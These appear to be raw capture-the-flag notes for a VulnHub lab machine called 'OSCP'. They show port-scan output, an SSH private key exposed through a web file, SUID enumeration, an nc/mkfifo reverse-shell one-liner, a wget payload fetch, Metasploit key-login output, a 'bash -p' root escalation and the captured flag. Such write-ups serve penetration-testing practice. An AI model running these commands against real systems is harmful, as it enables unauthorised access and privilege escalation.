PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

|_http-generator: WordPress 5.4.2

| http-robots.txt: 1 disallowed entry

|_/secret.txt

|_http-server-header: Apache/2.4.41 (Ubuntu)

|_http-title: OSCP Voucher – Just another WordPress site

33060/tcp open mysqlx?

| fingerprint-strings:

| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:

| Invalid message"

http://oscp.vuln/secret.txt

-----BEGIN OPENSSH PRIVATE KEY-----

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

8nfK2oDc6LfrDmjQAAAAlvc2NwQG9zY3A=

-----END OPENSSH PRIVATE KEY-----

root@kali:/home/kali/Desktop/vulnhub/oscp# ssh oscp@oscp.vuln -i id_rsa

-bash-5.0$ cat ip

#!/bin/sh

cp /etc/issue-standard /etc/issue

/usr/local/bin/get-ip-address >> /etc/issue

-bash-5.0$ find / -perm -u=s 2>/dev/null

/snap/snapd/8542/usr/lib/snapd/snap-confine

/snap/snapd/8140/usr/lib/snapd/snap-confine

/snap/core18/1754/bin/mount

/snap/core18/1754/bin/ping

/snap/core18/1754/bin/su

/snap/core18/1754/bin/umount

/snap/core18/1754/usr/bin/chfn

/snap/core18/1754/usr/bin/chsh

/snap/core18/1754/usr/bin/gpasswd

/snap/core18/1754/usr/bin/newgrp

/snap/core18/1754/usr/bin/passwd

/snap/core18/1754/usr/bin/sudo

/snap/core18/1754/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/snap/core18/1754/usr/lib/openssh/ssh-keysign

/snap/core18/1880/bin/mount

/snap/core18/1880/bin/ping

/snap/core18/1880/bin/su

/snap/core18/1880/bin/umount

/snap/core18/1880/usr/bin/chfn

/snap/core18/1880/usr/bin/chsh

/snap/core18/1880/usr/bin/gpasswd

/snap/core18/1880/usr/bin/newgrp

/snap/core18/1880/usr/bin/passwd

/snap/core18/1880/usr/bin/sudo

/snap/core18/1880/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/snap/core18/1880/usr/lib/openssh/ssh-keysign

/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/usr/lib/snapd/snap-confine

/usr/lib/eject/dmcrypt-get-device

/usr/lib/policykit-1/polkit-agent-helper-1

/usr/lib/openssh/ssh-keysign

/usr/bin/gpasswd

/usr/bin/mount

/usr/bin/fusermount

/usr/bin/passwd

/usr/bin/newgrp

/usr/bin/at

/usr/bin/sudo

/usr/bin/chfn

/usr/bin/bash

/usr/bin/pkexec

/usr/bin/umount

/usr/bin/chsh

/usr/bin/su

https://www.exploit-db.com/exploits/46361

-bash-5.0$ id

uid=1000(oscp) gid=1000(oscp) groups=1000(oscp),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)

LXD PRIVESC

root@kali:/home/kali/Desktop/htb/tabby/lxd-alpine-builder# python -m SimpleHTTPServer 80

-bash-5.0$ wget 10.10.10.20/alphine.tar.gz

[+] Possibly interesting SGID files:

-rwsr-sr-x 1 root root 1183448 Feb 25 12:03 /usr/bin/bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.10.20 4444 >/tmp/f

msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > set KEY_PATH /home/kali/Desktop/vulnhub/oscp/id_rsa

KEY_PATH => /home/kali/Desktop/vulnhub/oscp/id_rsa

msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > run

[*] 10.10.10.34:22 SSH - Testing Cleartext Keys

[*] 10.10.10.34:22 - Testing 1 keys from /home/kali/Desktop/vulnhub/oscp/id_rsa

[+] 10.10.10.34:22 - Success: 'oscp:-----BEGIN RSA PRIVATE KEY-----

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

-----END RSA PRIVATE KEY-----

SUID BIT /usr/bin/bash exploit

bash-5.0$ bash -p

bash-5.0# whoami

root

bash-5.0# cd /root/

bash-5.0# ls

fix-wordpress flag.txt snap

bash-5.0# cat flag.txt

d73b04b0e696b0945283defa3eee4538

!flag d73b04b0e696b0945283defa3eee4538

https://www.exploit-db.com/exploits/46978?